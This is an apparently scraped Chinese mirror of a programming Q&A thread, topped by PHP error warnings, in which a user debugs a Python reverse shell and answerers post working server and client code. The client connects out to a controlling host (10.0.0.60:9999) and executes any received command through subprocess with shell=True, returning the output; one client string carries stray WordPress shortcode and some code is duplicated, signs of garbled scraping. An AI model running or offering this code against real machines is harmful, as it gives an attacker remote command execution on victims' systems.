Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/python-3.x/17.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 反向壳循环_Python_Python 3.x_Shell - Fatal编程技术网

Python 反向壳循环

Python 反向壳循环,python,python-3.x,shell,Python,Python 3.x,Shell,和我找到的一个反弹壳混在一起 服务器 from socket import * HOST = '' PORT = 9999 s = socket(AF_INET, SOCK_STREAM) s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) s.bind((HOST, PORT)) print("Listening on port " + str(PORT)) s.listen(10) conn, addr = s.accept() print("Connec

和我找到的一个反弹壳混在一起

服务器

from socket import *

HOST = ''
PORT = 9999

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)

while 1:
    command = input("connected\n")
    conn.send(str(command).encode('utf-8'))
    if command == "quit": break
    data = conn.recv(1024).decode('utf-8')
print (data)

conn.close()
客户

import socket, subprocess

HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
    '[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')

while 1:
    data = s.recv(1024).decode('utf-8')
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    s.send(stdout_value).encode('utf-8')
s.close()
错误


当我运行这两个客户端时,经过多次尝试和错误后,客户端连接到服务器,但是在输入诸如dir之类的输入时,它会返回到等待输入。毫无疑问,我假设这是一个编码/解码相关的问题,但我已经查阅了一些文档,我不确定是否有解决办法。

您的服务器没有显示通过网络发送到客户端的命令的输出,因为您没有在服务器主循环中处理
数据。我认为您希望打印每个命令结果的
print
命令没有正确缩进

缩进
打印(数据)
以与前面几行保持一致,您的程序应该按照您的意愿工作。

客户端脚本
#Server Side Script

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999

s.bind((host,port))

print ("Waiting for connection...")
s.listen(5)

conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
    command=input("Shell > ")
    if 'terminate' in command:
        conn.send('terminate'.encode("utf-8"))
        conn.close()
        break
    else:
        conn.send(bytes(command.encode("utf-8")))
        print(conn.recv(20000).decode("utf-8"))

谢谢,我应该马上注意到这一点。//,代码不错。不过,你介意加上一两句话解释一下为什么它能回答这个问题吗?有时,这样的上下文有助于更快地阅读代码。是的,如果您能提供一些关于您在这里要实现的目标的描述,以便人们能够正确地解决问题,那就太好了。谢谢我的朋友@Nathanbassanese的评论。。我一点也不介意。。我会在其他回答中接受你的建议你是对的,我的朋友@titipata。。这将被考虑在内
#Server Side Script

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999

s.bind((host,port))

print ("Waiting for connection...")
s.listen(5)

conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
    command=input("Shell > ")
    if 'terminate' in command:
        conn.send('terminate'.encode("utf-8"))
        conn.close()
        break
    else:
        conn.send(bytes(command.encode("utf-8")))
        print(conn.recv(20000).decode("utf-8"))
import socket           
import subprocess
def connect():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    host = socket.gethostname()         # Get current machine name
    port = 9999                         # Client wants to connect to server's                    # port number 9999
    s.connect((host,port))

    while True :
        try:
            command=s.recv(1024).decode("utf-8")
            print('Server Says :- ',command)
            if 'terminate' in command:
                s.close()
                break

            else:
                    CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
                    s.send(CMD.stdout.read())
                    s.send(CMD.stderr.read())

        except ConnectionAbortedError as e:
            print("Server Connection Closed !\n\n\n",e)
connect()